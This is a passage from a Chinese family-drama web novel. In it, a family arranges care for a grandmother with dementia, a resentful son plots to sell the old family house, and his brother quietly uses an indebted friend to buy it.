“是啊,她明天就出院了,不过不是搬到我那里,我公公还是想带着婆婆自己住,但他们之前已经分房睡了,这次得把床搬到同一个房间,好方便他照顾。” “怎么不是宁老大的媳妇儿照顾?不是说你们出看护费,让她来照顾吗?” 赵如月说道:“我们本来是这么打算的,可我公公不乐意,我们也拗不过老人家,只能随他的意了。” 他们本来也是劝他带着老太太去王海燕那边住,让王海燕当看护的主力,看护费由宁绍明和宁绍德平摊。 至于伙食费,她公公婆以前种的那点田地和菜地,以后他们没法种了,就全转到王海燕名下充当伙食费。 种出来的粮食和蔬菜,其中一部分算是老两口的口粮,其余的归王海燕。 至于肉类,宁绍明平时给自家买肉的时候,顺便多买一些,给老宅送过去就行。 但是宁达不愿意,他还是想自己住。 他听医生说,老婆子以后离不开人照顾后,早就想过,以后自己来当照顾她的主力。 医生说了,照顾这样的病人,时间短的话几个月、几年,时间长的话,甚至得熬十几年,没准生病的人,能把照顾的人都熬走。 俗话说久病床前无孝子,不是没有道理的,也不是说孩子们不孝顺。 只是宁达担心,一开始就让孩子们照顾,孩子们都被熬得不成样子,不如让他先来,万一自己比老婆子还先走,孩子们接力继续照顾下去,也比一开始就让他们照顾,他们能更尽心。 所以宁达对儿女说:“趁着我还能动弹,我自己照顾你们妈比较合适,你们大嫂家的地不少,她又不乐意租出去给别人种,农时耽误不得,等到要忙地里的活那时候,还不是我来当照顾的主力?” 宁达不愿意让自己挣这个看护费,王海燕本来挺不高兴。 但她的小心思被这么明晃晃地戳穿,她也有点心虚。 因为宁达没说错,王海燕就是这么想的。 现在可不是旧社会,现在把田地租给别人种,交了公粮后,剩下的粮食,大头是租地的人拿,她只能拿到一小部分。 那些外出打工的人,把地租给别人种的都是这样分。 既然这样自己种地更划算,她当然不愿意把地租出去给别人。 毕竟公公婆婆的地都给她家了,以后公公不用干活,她要忙地里的活时,肯定是想着,让不用干活的公公暂时帮忙看着点婆婆。 当然不那么忙的时候,肯定是她主要负责照顾的。 可宁达直接把她的小心思点了出来,并且表示不愿意这样。 宁绍明和宁美婷劝也劝不动,只好尊重老人的想法。 宁达让宁绍明和宁绍德每个月各给自己三百块钱。 老大家不出钱,但是住得最近,就平时在他偶尔有需要的时候帮把手,还有一日三餐也在老大家吃,王海燕做什么他们就吃什么。 不过他和老婆子以前给自己留的那点田地和菜地,确实没法种了,就还是转到王海燕名下。 他这么一说,王海燕拿到他们的田地和菜地后,心里的那点不高兴也全散了,表示自己同意他的决定。 宁绍明只好也尊重父亲的想法,不过他依然打算以后家里买肉,也还是会给老人送过去一份。 宁美婷不用出钱,只要有空的时候去探望一下就行,至于私下会不会给老人钱,就是她自己的事了,没人可以强求。 只有宁绍德还嫌自己每个月要给的钱有点多。 但宁达对他说:“这三百块钱里,包括我和你妈两个人的养老钱,还有平时给你妈拿药的医药费,如果你不愿意给。 那我只好每个月都去你学校,找你拿养老钱和医药费了,到时候车费你也得给我报销,不然我就去找你们领导评评理。” 几句话就让宁绍德不敢再吭声了。 这些私下的争端,赵如月没跟陈芳妮说。 她只简单说了自己公婆以后还是自己住后,就告别大嫂,抓紧时间去老宅跟大嫂一起挪床搬东西去了。 另一边,宁绍德却越想越觉得不爽。 他忍不住对已经被他哄好的叶菁说:“凭什么老大家一分钱都不用出,只用偶尔搭把手,再给点吃的就行? 就她家那点伙食,又不像老三家,餐餐有肉,那点饭菜能值几个钱?一个月下来一百块钱都不值吧?” 叶菁也说:“是啊,还有一个,你想想老头老太太住我们的房子,我们每个月还要给钱,不就相当于既出房子又出钱?老大家什么都不出,老三家只出钱,我们出房子又出钱,亏大了!” 宁绍德顺着她的话去想,觉得更亏了:“不行,我们得想个办法,减少每个月要给的钱,要不然我们什么时候才能在县城买到房子?单位里不少工龄跟我们差不多,甚至工龄比我们少好几年的人都在县城买房了,只有我们没房子,多丢人!别人都有家里父母帮衬,我们父母不但帮不到我们,还吸我们的血,拖我们后腿。” 叶菁心想:给我们拖后腿,吸我们血的是你父母,我父母可没有。 她又说:“每个月的钱再减少,也减少不了多少,镇上的房子不值钱,租金更便宜,就那房龄几十年的破院子,一个月顶天了能减少一百块钱,对我们没多少帮助,你爸妈住你的房子你还收钱,这事传出去,镇上那些大嘴巴非得戳我们脊梁骨,到处说我们的闲话不可。” “那怎么办?”宁绍德现在有把柄在他们手上。 他爸又仗着辈分把他压得死死的,动不动就说要去他单位闹,他烦都要烦死了,可这招对他是真有用。 “那多好办,我们把这房子卖掉!”这个想法叶菁早就有了。 她是觉得他们又不常回去,镇上的破房子留着也没用,以后拆迁八百年都拆不到镇上,不如卖掉。 宁绍德皱眉:“卖掉?可那是我家的老宅,卖掉别人也会戳我脊梁骨,说我卖祖产败家……” 叶菁没忍住翻了个白眼:“还祖产,你家祖上是什么大户人家吗?还是以后你还想回乡下生活?” “那倒不是。”他一回镇上,就会不由想起当初自己家庭穷困窘迫,在学校没多余的钱,别人聚会他没钱凑份子,平时还吃得不好、穿得不好,跟学校同学格格不入的日子。 叶菁看他表情有些松动,再接再励继续说道:“卖房子的钱,加上我们这些年攒的钱,我再回我娘家去找我爸妈支援一点,凑起来不但够我们买房的钱,还能多出一部分装修买家具,你自己好好想想吧!” 宁绍德沉默半晌,终究还是禁不住县城房子的诱惑:“你也说镇上的房子不值钱,那谁会愿意买?农村的宅基地只能卖给镇上的人,也卖不上价。” “这你可说错了,虽然镇上的房子不如县城的值钱,但我们那院子的位置,在镇上算很好的,只要我们愿意卖,多得是人想买。”她因为早就有这个想法,已经打听过了,他们那个院子,能卖一万多。 这还是她几年前打听到的价格,这几年物价上涨,房子的价格肯定也能涨一点,不能按照几年前的来算了。 宁绍德说道:“你改天回去,问问你爸妈镇上房子的价格,卖的时候可千万别让人坑了,多卖点钱,我们在县城买房装修,压力就小点。” “这还用你说?我肯定不会让我们家吃亏的。” 宁绍德夫妻俩私下打听镇上卖房价格的时候,黄秀华出院了。 赵如月这天也是包了郑秀的车去接,宁绍明和宁美婷白天都比较忙。 而她晚点去自己店里也没事,苏胜楠现在除了修理电子设备的活,其他都会了,所以今天只有赵如月带着两个孩子去接黄秀华出院。 赵如月去得比较早,就先让郑秀开车带着他们去卖书包和文具的地方,先给两个孩子买了新书包和新文具。 还顺便给黄秀华买了个轮椅。 昨晚是王海燕负责看护,赵如月买完东西,到了医院,黄秀华的出院手续,宁达和王海燕也差不多办好了。 赵如月去帮忙收拾一下病房里要带回家的东西,把不带回去的东西,能送人就送人,不能送人的就扔掉,也没花多少时间就收拾好了。 让黄秀华坐上轮椅,宁达推着她往医院外走。 宁达边走边跟赵如月说:“幸好去年和今年都听了你的话,交了新农合,刚才办出院手续的时候,人家问我有没有交这个,说住院能报销一半,真的太划算了。 这个一年才要交十块钱,用不上的时候没感觉有什么用,都忘了还有这个东西,今天一用到,就知道它的好处了。” 报销一次能抵得上几十年交的费用,宁达甚至有点担心国家亏本,觉得自己这是占了国家的便宜,心里感觉有点不好意思。 王海燕没交这个钱,觉得没什么用,可是今天亲眼见到确实有用,也打算回去后去村委问问,还能不能交了。 一路坐车回到家,黄秀华都是呆呆傻傻的样子,没跟有些病人一样各种闹,只是在医院的时候,可能水喝多了,控制不住尿。 赵如月是给她买了成人纸尿裤的,出发前也刚帮她换上新的,可回到家一看,裤子还是湿了。 她让宁达和王海燕带她进屋,帮她把裤子换了。 然后自己赶忙去检查郑秀车子的坐垫,要是把人家的车子坐垫也弄湿了,得给人家洗车的钱。 检查完,赵如月松了一口气:“幸亏还在座位上垫了一次性尿垫。” 给郑秀结了车钱后,又跟她道谢,郑秀摆摆手说:“不用这么客气。”就开车继续拉客去了,晚点再来接赵如月去县城店里。 赵如月让两个孩子带他们新买的东西回家,自己进了公婆房间。 “怎么样?没把人家的车弄脏吧?”宁达问道。 赵如月摇头:“没有弄脏,尿垫还是挺有用的,爸你平时在妈睡觉的地方,还有她坐的地方也垫上一张,别怕浪费,用没了我再买,要不然你给她收拾褥子床单的速度,可赶不上她弄脏的速度。” 宁达点头,也不敢省着用了,昨天晚上跟今天早上,他担心老婆子坐车回来中途会控制不住,没给她吃多少东西,今天才只是尿裤子。 可他也不能总给她吃那么少,她正常吃东西的话,控制不住的时候,拉的可不只有尿。 一番折腾,终于帮黄秀华把裤子换好了,让她躺在床上休息。 收拾好之后,赵如月出门要回自己家,走到门口就被邻居拦住了打听:“你婆婆不是让宁老二带去看病检查身体吗?怎么变成这样了?” 刚才他们回来,在老宅门口,很多邻居都看见了黄秀华的状态,人瘦了一大圈,看起来也不像正常人了。 可他们对黄秀华的印象,还停留在黄秀华离开前中气十足地跟人炫耀,儿子非要带自己去看病的样子。 她的病情王海燕回来的时候到是没少跟人说,不过宁绍德跟宁绍明几人吵架的时候,王海燕还没到医院,所以不知道拆迁房的事,也就没跟邻居们说,宁美婷和宁达回来也没跟人说这个事。 倒是给赵如月和宁绍明省了不少麻烦。 耳听为虚眼见为实,邻居们不管听王海燕描述过多少次她婆婆的情况,可很多人没亲眼看见过,也就想象不出来,今天乍一看到,都感觉十分唏嘘。 黄秀华当年多么要强的一个人,晚年竟然变成了这样,很多老人不禁联想到自己身上,开始担心起来。 邻居们还听王海燕隐晦地说过,黄秀华变成这样,是宁老二夫妻俩害的,不过她也没明说,就是给点暗示,让别人猜。 这会儿就有人问赵如月这事,赵如月把这个问题绕开了,没正面回答。 这让邻居们更加笃定了,黄秀华变成那样,里面肯定有宁老二夫妻俩的事。 不由又在心里感叹,这宁老二还是黄秀华最偏疼的儿子呢,她出门前跟人说这个儿子最孝顺,结果把她孝顺成这样了…… 赵如月简单地跟邻居聊了一会儿,就借口说自己有事离开了。 她婆婆以后又不是瘫在床上不能出门了,她给买了轮椅的,天气好的时候,公公可以推她出来晒太阳,邻居们住得那么近,想了解她的状态,以后多的是机会直接自己亲眼看。 他们只是乍然看到熟人变化这么大,才感觉不太习惯而已,等看到她的次数多了,就不觉得稀奇了。 赵如月回到家休息,顺便等郑秀的车从县城回来。 宁绍明的好朋友丁珉正好来店里吃东西。 看到赵如月也在,跟她说起一个事:“我听人说,绍明他二哥二嫂正在打听镇上的房价,好像想卖掉他们在镇上的院子,这事你们知道吗?” 第124章 这事赵如月还真不知道:“你知不知道他们大概是什么时候开始打听镇上房价的?” 丁珉仔细想了想:“大概就这两天,我前天听别人说的,想着来这边碰上你和绍明就跟你们说一声,只不过你们最近都忙,今天才碰上一回。” “最近因为我婆婆的事,确实不怎么有空,谢谢把这消息告诉我,改天让绍明请你吃饭。” “这哪用得着说什么谢谢,”丁珉玩笑道,“不过绍明请我吃饭,要是他自己掌勺的话,我肯定不拒绝!” 赵如月知道丁珉在镇上消息还挺灵通的,其实他也不用刻意去打听,因为他工作的单位在镇上,身边的同事几乎都是本地人。 镇上娱乐少,熟人多,发生点什么事,他们也会互相八卦一下,消息就这么来的,而且他们得知消息的速度也比别人快一步。 以前宁绍明和赵如月还一起在镇上看店的时候,他们俩得知消息的速度也是这么快。 不过也就是快一步,后续那些消息要不了多久,在镇上就传得到处都是了。 在镇上做什么事,除非像他们在县城买房一样,除了自己夫妻俩,真的跟谁都不透露一句,要不然很难瞒得特别久。 她跟宁绍明在县城买的那个房子要拆迁的消息,也就现在知道的人少,等老二夫妻俩往外透露几句,过不了多久也会被很多人知道。 丁珉说他是前天听别人说这个消息,赵如月算了算时间,那估计是宁达跟宁绍德说,让他和宁绍明以后每个人给他三百块钱的那天之后。 赵如月不用多想都知道,他们八成是觉得自己在这件事上亏了。 很快丁珉的话就验证了赵如月的猜测:“你跟绍明以后面对宁老二夫妻俩,可得多个心眼,他们在宁老二媳妇儿娘家编排你们呢!” 赵如月问:“都说的什么?” “就是给老人养老那点事,说老头子偏心你们家和老大家,老大家一毛不拔,一分钱不用出,你们夫妻俩好几家店,只出丁点钱就把老人打发了。 只有他们家,又出房子又出钱,还说什么,那房子要是租出去,一个月也有百来块钱的租金,意思是他们都出了房子,每个月不该给跟你们出一样的钱。” 赵如月真是气笑了,他们不想出钱,或者不想跟自己家出一样的钱,那倒是住得离父母近一点,平时跟大嫂那样,父母有事及时帮把手啊! 又想得清净,又不想出钱,想的可真美! 丁珉也说没几个人真信了他们的话,都把那些话当笑话听:“他们以为这么给别人说,别人就觉得他们确实遭受不公平待遇,忘记当初你们家那老太太有多偏心宁老二了? 更别说那房子还是老人给他们的,好家伙,爹妈把房子分给他们了,现在自己爹妈住进去还要暗戳戳地嫌他们不给房租,这可是亲生父母啊! 跟别人说那些话,以为别人都是不知好歹的傻子,他们说什么就信什么呢?” 赵如月说:“我等会儿去了县城,就把这事跟绍明说了,看看该怎么办,可不能等到他们背地里把房子卖了,人家上门收房子,才急急忙忙帮老人搬家。” “你们确实得早点打算,我看他们卖得挺急,就是要价有点高,有意向的人问了之后都犹豫了。” “他们要价多少?”赵如月又问。 这个丁珉也打听到了:“说是要两万。” “那确实要价太高了,很不划算,两万块钱,都能在县城付个首付,买个几十平的电梯房了。” 丁珉他大哥前不久刚给他侄子丁勇在县城买了一套。 他陪着去看的房子,很了解县城各个小区房子的价格:“没错,只付百分之二十的首付,确实可以贷款买一套六七十平的房子了,只是每个月要还几百块钱的贷款,还贷压力可能有点大。 他们那房子好处是,买下来后,不用修整直接住进去都行。 只是不管用不用修整,那都只是镇上的房子,除非遇到有钱的冤大头,不然两万很难卖出去。” 赵如月听到他关于房贷的话沉默一下,想到现在县城打工人的工资,每个月还款几百块钱,对于现在的很多人来说,压力确实有点大。 不管哪个年代,普通人想买房都不是一件容易的事,毕竟工资还要供平时吃穿住行、养孩子、看病、人情往来等等。 不过现在要是能咬牙买了,缩衣节食苦几年扛过去,其实也要不了几年,压力就没那么大了。 赵如月想起宁时春过年时说的他的打算,宁时春决定明年开店,他的想法是去别的镇子租门面开店。 因为以前别的镇子,也有人专门跑来他们镇上的店,买热狗面包那些吃,现在也还有人跑来买别的面包,还有人专门来订蛋糕。 现在看来,赵如玉觉得不如让宁时春也去县城贷款买个房子和铺面。 要不了多久,她家在县城有房子,还赶上拆迁这事,肯定也要被传得到处都是了。 宁时春的钱不够,他们可以先借给他,要不然等她家的拆迁款下来,来借钱的人肯定不少。 借给别人还不如借给宁时春,至少这孩子是真老实,还特别听他三叔的话,他借了钱不会不还。 把钱借出去一些,也有借口堵住别人开口借钱的嘴。 郑秀的车到了门口,赵如月去后面问两个孩子:“我要去县城了,你们今天去不去?” 两个孩子都说不去了,要趁还没开学,留在家里看电视、玩电脑。 赵如月提醒他们:“看半个小时电视和电脑,就要起身走走,出外面透透气、看看远处,要不然会近视的。” 宁时夏尤其注意保护自己的眼睛,当即表示:“我一定会注意的,也会提醒哥哥。” “那我就放心了,我先走了,有什么事,给我或者你们爸爸打电话。” 到了县城,正好是下午人不多的时候,赵如月想着宁绍明应该有空。 赵如月到了县城,就直接去找宁绍明。 她走进隔壁面包店,没在店里看到宁绍明,就问店员:“你们老板不在?” 店员跟她说:“刚刚老板有个朋友来找他,这边没地方招待,老板就带着人去餐饮店那边了。” 赵如月又去餐饮店那边看了一眼,就见店里最角落的位置,宁绍明正在跟一个朋友面对面坐着说话,那个人她也认识,但她没贸然过去打扰。 那人确实是宁绍明的朋友,听说高中毕业后靠家里的关系,当了辅警。 往年这个朋友跟宁绍明联系得也不算多,一年到头见面的次数更少,不知道今天怎么会主动来找他。 餐饮店里,宁绍明正在婉拒朋友借钱的请求:“我们认识这么久了,你应该也了解我,结婚后,我家的钱都是我媳妇儿管,每个月她就给我三五百的零花钱。 我平时花钱的地方少,攒是能攒下来一点,但偶尔要给我媳妇儿买点礼物,给我家两个孩子一点零花钱,再买点小零食小玩具什么的,自己也剩不下多少。 这还是因为我不抽烟不喝酒,要不估计一分钱都剩不下,你要是借个千八百的,我可以做主,再多我是真没有了,得问问我媳妇儿去。” 宁绍明说的话大部分就是他的真实情况。 他都这么说了,他朋友也没办法。 只能说道:“那你先借我一点应应急,剩下的跟你媳妇儿商量一下?我是真急用钱,你也了解我,不是真没办法了,肯定不会轻易跟兄弟开口借的。” “那行,”宁绍明拿出自己的钱包,把里面目测大概有七百块钱的整钞全都给了他,“这些你先拿去用,晚点等我我媳妇儿来了,我问问她,她答不答应到时候都给你个答复。” 那人接过钱,说了句:“谢了兄弟。” 两人又闲聊了几句,那人就离开了。 赵如月看到人走了,才过去找宁绍明:“韦安民找你做什么?” 宁绍明无奈:“来找我借钱,借五千块钱。” 赵如月也无奈了:“唉,又是借钱。” 自从他们俩在县城的店站位脚跟成功做起来后,来他们借钱的人不少。 刚开始还能用自己家店刚起步,自己也是借亲戚朋友的钱开店,挣到的钱得先还债来搪塞过去。 现在这个借口却没有一开始那么好用了,毕竟债务总有还完的时候,而他们店里的生意,是肉眼可见的红火,欠人的钱怎么可能一直还不完。 赵如月又问:“我记得韦安民家条件不错,怎么五千块钱还来找你借?” 宁绍明倒是知道一点韦安民的现状:“我听说他炒股,把买房子的钱全赔进去了,他结婚比我们晚,生孩子也比我们晚,他孩子今年九月份才上小学。 他炒股那些钱,本来是为了买房把孩子送到县城读小学,他老婆因为这事,正跟他闹离婚,我觉得他这么东拼西凑,估计是想凑个首付的钱,好歹先把家稳住。” 赵如月有些意外:“他工作这么多年,还没转正?户口也没迁到县城来” “这个我就不太清楚了,我只记得他当初能进去当辅警,是走的他姑父的关系,他姑父好像急病去世了,是哪一年来着?我也忘了。 反正他进去工作几年,就听说他姑父没了,估计那时候他还没转正,他姑父去世后,可能人走茶凉,想转正更难了。” 宁绍明说完,想起自己在医院时的想法。 就跟赵如月说道:“我想着要不在县城买两套房子,把钱花出去算了,手里不用留太多现钱。 县城的房子今年比去年涨了些,我感觉比把钱留在手里或者存在银行都划算。 以后我们家孩子如果上高中成绩还是那么好,考上了好学校,去大城市工作,再卖掉县城的房子,重新给孩子在工作的城市买房也行。” 赵如月听了也觉得买房子是个好主意。 不过她又想,买县城的房子,以后卖掉再买大城市的,还不如现在趁着还没限购就去大城市买。 以后县城的房子卖掉也许只够大城市房子的首付,这还是比较好的情况,有些县城的房子卖掉也不够,还得往里添点才够。 要是现在就趁着大城市的房价还没那么离谱,买大城市的房子,孩子不在买房的那个城市工作,再卖掉重新买,不容易遇到那样的问题。 她这么想的,就把这想法跟宁绍明说了。 宁绍明有些犹豫:“我们的钱在大城市买两套的话,可能要贷款不少钱,还款压力会很大。” 他就没想过只买一套,自从打算以后把镇上的房子一分为二,女儿儿子一人给一半后,他买什么东西都会想着买双份,房子也是。 赵如月劝他:“压力大点,总比被人借走,然后去忐忑地赌人家会不会还钱来得好,至少房子实实在在可以拿到手,是资产,可以传给孩子。” 宁绍明听了她的话,不由点头:“也是,都说欠钱的是大爷,把钱借出去,可能钱没了,朋友也做不成,那就照你说的,买大城市的房吧。 不过买哪个城市的?我们就去过鹏城,对鹏城比较熟悉一点,要不就买鹏城的?到时候可以让文发他们帮我们打听一下。” 赵如月却说:“我觉得还是先去羊城买比较好,小蓉今年也买房了,她肯定了解过羊城各个小区的房子和房价,不需要特地去帮我们打听。 文发他们还没买房子,应该也没有在鹏城买房子的意向,平时估计不会去注意鹏城房子的具体情况,请他们帮我们,他们就得额外花时间去了解。 看房子要花的时间、精力可不少,他们每个月就那么点休息时间。 帮我们打听这个,他们好不容易有点休息时间,那点时间却被我们的事占用了,这样不太好。” 其实赵如月最主要担心的是,别人还没买房子,又因为没房子、没本地户口,两个孩子只能留一个在老家。 带去的那个孩子只能读农民工子弟学校不说,还得交很多择校费,压力那么大。 他们屁颠颠地跑去跟别人说,自己要买房,让人家帮忙找房子,这就相当于在别人伤口上撒盐。 万一到时候人家说:兄弟,你们这房子短期内也不住,能不能帮帮忙,把我家孩子的户口过去,我们压力小一点,孩子也能去个好学校。 作为好兄弟,到时候到底要不要帮忙? 如果换了别人,宁绍明大概不会忽略掉这些。 但黄文发跟他关系实在太好,好到他之前甚至愿意跟帮衬自己亲侄子一样,想过帮黄文发开店挣钱。 以至于宁绍明才下意识地以己推人,认为如果自己在大城市买房子,兄弟知道了只会为他高兴,而不会心里有别的想法。 可是谁也不知道别人到底会怎么想,在双方差距越来越大的时候,如果还想继续做朋友,就最好别去赌人性。 好在这种事,宁绍明一向都是顺着赵如月的:“那就在羊城买吧,不过我们真不在县城也买两套?县城的房子那么便宜。” 赵如月:“肯定也要在县城买的,你忘了,以后我们家两个孩子要来县城读书,也要学区房,只是不用那么着急,不管是在哪里买,都先等拆迁款下来后再说,这样我们压力也小点。” 现在他们那个自己也要还债的借口,暂且还能继续用一段时间。 不过房子也要尽快看了,黄秀华住院期间,那边的街道办找他们去开了几次会,赔偿方案快定下来了。 如果等方案定下来,安置房或者回迁房的学区比较好,他们就不用再掏钱在县城买。 学区不好,或者回迁房建成时间不能确定的话,还是拿钱到县城其他的小区去买。 两个人商量好这事,赵如月又想起丁珉告诉自己的事,差点忘了跟宁绍明说。 这会儿想起来就赶紧跟他说了。 宁绍明现在不管听到宁老二干什么,他都没什么情绪波动了,以前会在乎,会心里不舒服,是因为还当他是自己兄弟。 “这个好办。”他脸色平淡地说,“他们卖房子,我们可以把那房子买了,继续让爸妈住着。” 毕竟那房子,承载了他从出生到结婚生子那么长一段时间的人生经历。 要是没能力、没机会就算了,既然现在有能力,他还是希望能把房子留存下来。 赵如月有些担心:“我就怕他们看到是我们想买,故意提价,跟我们过不去。” 宁绍德夫妻提出的那房子的价格,跟他们现在的收入比起来,不算什么。 可赵如月就是不乐意让宁绍德夫妻俩占到自家便宜,她直接把自己的这个小心思跟宁绍明说了。 宁绍明听完后说:“那也不难解决,你给我拿两万块钱,这事就交给我吧。” 她只是不乐意给宁绍德夫妻俩占便宜,那可就好办多了。 “我明天就去取钱。”这便宜赵如月宁愿让别人占,也不给宁老二占了去! 宁绍明抽空去找了韦安民一趟。 韦安民十分意外,他还以为宁绍明那天说,借钱那事要跟他媳妇儿商量,只是跟其他人一样,用来搪塞打发他的借口。 毕竟他的收入情况并不难打听,很容易就能打听得到。 韦安民借了不少钱,首付的钱几乎全都是借来的,现在只差几千块钱。 以他的收入,借了钱这么多钱之后,每个月还有房贷要还,首付借的钱,至少几年内都很难还得上。 没想到宁绍明竟然真跟他媳妇儿商量了,还主动来找自己! 不过跟韦安民想象中的,直接把钱借给他不一样。 有一点其实韦安民没猜错,宁绍明来找他之前,确实去打听过他的情况,除了韦安民之外,还他也打听了好几个人。 对比过后,再加上之前了解到的那些情况,宁绍明觉得韦安民最合适。 韦安民是唯一一个他可以确定,手上真有足够现钱的人。 寒暄了几句后。 宁绍明开门见山地对韦安民说:“兄弟,我知道你现在的情况,这钱借给你,你不一定能还得上,现在有个事需要人帮忙,能挣到一笔钱,我就想着我们俩认识这么多年了,好歹兄弟一场,这个钱给别人挣了不如给你挣,如果你能办好的话,既不用欠我人情,你也不用还钱了,你以后压力也小一点。” 还有这种好事? 韦安民为了凑首付,到处借了一圈,刚开始他的情况没传出去还好,还有人愿意借给他。 现在他在亲戚朋友那里,真是一分钱都借不出来了。 韦安民顾不上多考虑,宁绍明话音刚落,他立刻说道:“什么事,你只管说!” 宁绍明压低声音对他说:“是这样,我打听到我二哥在卖我家老宅,你帮我把那房子买下来,再转给我。 他现在出价两万,但你老家也在镇上,肯定知道镇上房子的价格到不了那么高,我这里也有两万,你买那房子的时候,能压下来多少,你就能挣多少。 当然这事也不是没有风险,前期买那房子,你需要先自己垫钱,相当于你先买,然后再转手给我,作为兄弟我保证在这事上,绝对不会坑你。” 好处和风险,宁绍明都跟韦安民说清楚了,是否选择相信他,全看韦安民自己怎么选择。 如果他觉得风险太大,信不过自己,那自己也可以再找别人。 不过韦安民跟自己借钱那事,肯定就不成了。 看韦安民为了炒股把买房钱都赔掉就能看得出来,他本来就是个赌性比较大的人。 更何况这件事表面上看起来风险很大,万一宁绍明反悔,房子就砸在他手上了。 不过听完宁绍明的话,韦安民只是稍稍考虑了一下,宁老二要卖老宅的事他也听说了,是真的要卖,不是他们兄弟俩做局。 而且这事在他看来,风险并没有表面上看起来的那么大。 首先那是宁家的老宅,其次宁家这房子在镇上位置不错,买不到两万也能卖个一万多,镇上愿意买的人肯定有。 当然前提是价格合适,像宁老二那样咬死了要两万,那肯定是很难卖出去的。 真砸自己手里,他稍稍降一点价格还是能卖出去,只是会亏一点点钱和时间。 别人没法让宁老二松口降价,韦安民却有办法。 他很快就答应了下来:“这事你放心交给我来办,要不了多久肯定能帮你办妥。” 第125章 韦安民着急把钱拿到手,跟宁绍明聊完,很快就行动了。 不过他没有马上去找宁绍德谈买房的事,而是先打听了宁绍德夫妻俩的现状。 看看他们除了县城的房子之外,还迫切地需要什么。 这一打听,就打听到了他们一直在找业余时间可以挣外快的门路,但一直找不到的事。 韦安民心想:这不巧了,刚好自己有个铁哥们儿就是在市里做这个。 其实韦安民不知道,宁绍明在找人做这件事的时候,最终选他的原因之一,就是考虑到他有这么一个朋友。 之前宁绍德跟宁绍明说,他们已经找到了赚外快的路子,但宁绍明不太相信。 宁绍德以为宁绍明在县城老师的圈子里没有人脉,给承诺的时候张口就来。 可他也不想想,宁绍明开餐饮店和面包店,去他店里吃东西的人里就有不少老师。 客人来吃东西的次数多了,老板时不时送点赠品,跟愿意聊天的熟客聊几句多正常。 他以为所有老师都跟他们夫妻俩一样,端了铁饭碗就自觉高人一等,看不起这个、看不起那个吗? 韦安民得了这个消息,确认无误后,直接去了一趟市里,找自己的另一个朋友。 不过韦安民的这个朋友之前也被他借过钱,以为韦安民现在来找自己又是想借钱,看到他就躲。 韦安民堵了好几次才堵到人:“我说叶峰你这就有点不地道了,我们多少年的兄弟,我来找你好几次都说不在,这是故意躲着我呢?” 叶峰本来以为他已经走了,前几天韦安民也来找过他,但是在这之前,他已经借了三万块钱给韦安民,加上陆续零零散散地借了一些,加起来大概有三万多快四万了。 因为一次借出去好几万,他老婆已经很不高兴,那大头三万块钱没还上之前,他真不能再借钱给韦安民了。 那天没等到他,韦安民很快就没耐心,自己离开了。 没想到这次韦安民竟然那么有耐心,叶峰一时也没办法,只好打起精神应付他。 不过故意躲着他这事,叶峰是不能承认的:“怎么可能!我一直都在,估计是我员工不知道,以为我有事走了才说我不在,我要知道你来找我,肯定马上就出来了。” 叶峰转移话题道:“这么晚了,你吃过饭没?一起去附近饭店吃点?我请客,就当给今天这个乌龙事件赔罪了。” 韦安民也不拆穿他,顺着台阶下来了:“哪能让你请客,今天我是特地来请你帮个忙,当然是我请你吃才对,别去附近的饭店了,这个点该吃宵夜,我知道有一家烧烤店味道不错,要不我们吃烧烤去?” 叶峰听到他说让自己帮忙头都大了,除了借钱,还能有什么忙需要自己帮? 但韦安民还没提出来,他也没法突兀地说拒绝的话。 只能只好先硬着头皮跟着韦安民去那家烧烤店。 “正好我最近忙得没空出去觅食,挺长一段时间没吃烧烤了,挺馋这一口,这次可算是能解解馋了,你等等,我先给我媳妇儿打个电话,跟她说晚点回去。” 韦安民在那站着等叶峰打电话,其实他心里清楚,叶峰是担心自己借钱,才给他媳妇儿打电话,到时候她媳妇儿找过去,叶峰碍着兄弟情面,说不出口、不好拒绝的事,就可以让她媳妇儿来说。 好在今天他确实不是来借钱的。 到了地方,韦安民要了个包间,点上几手烧烤和一打啤酒,两人吃了几口后,又碰了一杯。 韦安民就主动说了自己想让他帮的忙:“我前段时间听你说,你开的那个补习班,有两个老师临时不干了,想找老师应急? 我想着想给你介绍两个人你看行吗?” 叶峰一愣:“你说的要找我帮忙的事,就是这个事?”还真是有事找自己帮忙啊? 不过这应该是韦安民给他帮忙,而不是他给韦安民帮忙吧? 叶峰直觉不太对劲。 果不其然,接着就听到韦安民继续说:“没错就是这个事,你那两个临时不干的老师,他们手上那些没干完的活只是教教小学生,我介绍来的那两个真的是老师,教小学没问题的,只是没有高中教师资格证而已。 不过我还跟那两个人说,我朋友这边长期有活给他们做,业务量太大现在不挑人,只要是老师,不管有什么证,只要有证就行,所以……” 叶峰皱眉道:“你这不是骗人嘛!我这里只给有高中教师资格证的老师派活,让他们来,这不是砸我招牌?而且我现在也不打算再找长期的,只找临时的。” 他办这个补习班,噱头就是自己补习班的老师全都有高中教师资格证,很多家长不太懂,小学老师大概率更会教小学生,就是认为有高中教师资格证的老师肯定更高级更厉害,所以他的补习班办得很红火。 叶峰说完,就见韦安民露出一脸愁苦的表情,这次竟然不是扯着兄弟情分说事。 而是一上来就是一副要哭不哭的样子,直接非常直白,直白到不要脸面地求他: “兄弟,求求你了,我现在真的是没办法了,求求你,帮我这一次吧。 我保证这是最后一次,你帮我这个忙,我很快就能凑够钱了,要不我媳妇儿就要跟我离婚了,我孩子还那么小,你以前也常带着他玩,真的忍心让他那么小父母就离婚,在一个破碎的家庭里长大吗? 求求你帮帮我吧,要不然我非得被差的那点钱逼死不可。 我今天也不是来求你借钱,只是想请你帮点力所能及的小忙,正好也给你解决了你补习班临时出现的问题,这也是两全其美的事。 到时候你只要说家长发现他们俩没有高中毕业证,不愿意让他们教了,把他们打发掉就行,后面他们要找麻烦,也是来找我。” 叶峰看他说着说着还真哭出来了,哭得一把鼻涕一把泪的。 到底是那么多年的朋友,以前他们关系是真的特别好,要不叶峰也不会韦安民一开始借钱的时候,就一下子借给他好几万。 看到他这样,叶峰难免有些不忍,只是他也不想拿自己的事业冒险。 叶峰劝了韦安民几句后,认真思索半天才说道: “这事我可以答应你,但有些事可得提前说好,我就当自己不知道你的盘算,今天你只是给我介绍了两个临时代班的人。 我不知道他们没有高中教师资格证,因为信任你这个朋友,才没提出要查看证件就同意了。 后续你跟那两个人发生什么矛盾,一概与我无关,到时候他们干完那些活,我给他们结掉工资,就跟他们两清了。” 韦安民觉得这样也行,赶紧点头,然后又是一通保证,让叶峰放一百个心,后续的事肯定不会牵扯到他。 解决完了这个事,韦安民也不哭了,脸一抹,热情地给叶峰敬酒,好话不要钱似的说了一连串。 